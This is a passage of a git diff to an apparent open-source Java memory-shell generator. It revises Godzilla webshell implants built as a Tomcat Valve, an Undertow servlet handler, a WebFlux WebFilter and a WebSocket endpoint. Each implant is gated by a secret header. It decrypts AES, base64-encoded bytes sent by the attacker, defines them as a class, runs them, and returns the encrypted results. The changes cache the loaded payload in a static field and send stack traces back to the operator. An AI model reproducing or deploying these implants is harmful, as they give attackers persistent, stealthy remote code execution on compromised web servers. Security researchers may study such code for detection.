Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); - writer.write(md5.substring(16)); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return true; } @@ -91,4 +96,19 @@ public class GodzillaUndertowServletHandler extends ClassLoader { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 578cdda0..0ab3fdc1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -7,19 +7,21 @@ import org.apache.catalina.connector.Response; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaValve() { } @@ -33,23 +35,26 @@ public class GodzillaValve extends ClassLoader implements Valve { public void invoke(Request request, Response response) throws IOException, ServletException { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaValve(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return; } @@ -87,6 +92,21 @@ public class GodzillaValve extends ClassLoader implements Valve { return c.doFinal(s); } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + protected Valve next; protected boolean asyncSupported; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java index 62d93d9c..48827485 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java @@ -11,6 +11,7 @@ import reactor.core.publisher.Mono; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.nio.charset.StandardCharsets; /** @@ -18,12 +19,12 @@ import java.nio.charset.StandardCharsets; * @since 2024/12/25 */ public class GodzillaWebFilter extends ClassLoader implements WebFilter { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - public Class payload; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaWebFilter() { } @@ -63,6 +64,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter { } } catch (Throwable e) { e.printStackTrace(); + result.append(getErrorMessage(e)); } return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); }); @@ -71,10 +73,10 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter { @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { try { - Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + Object encoder = java.lang.Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); } catch (Exception var6) { - Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + Object encoder = java.lang.Class.forName("sun.misc.BASE64Encoder").newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); } } @@ -82,10 +84,10 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter { @SuppressWarnings("all") public static byte[] base64Decode(String bs) throws Exception { try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + Object decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + Object decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } } @@ -95,4 +97,19 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index fc7c0196..70905aea 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -7,6 +7,7 @@ import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; @@ -23,22 +24,28 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< @Override public void onMessage(String message) { + byte[] result = null; try { byte[] data = base64Decode(message); data = x(data, false); if (payload == null || (data[0] == -54 && data[1] == -2)) { payload = reflectionDefineClass(data); - session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true))); + result = "ok".getBytes(); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.toString(); - session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true))); + result = arrOut.toByteArray(); } } catch (Throwable e) { e.printStackTrace(); + result = getErrorMessage(e).getBytes(); + } + try { + session.getBasicRemote().sendText(base64Encode(x(result, true))); + } catch (Exception ignored) { } } @@ -103,4 +110,19 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } }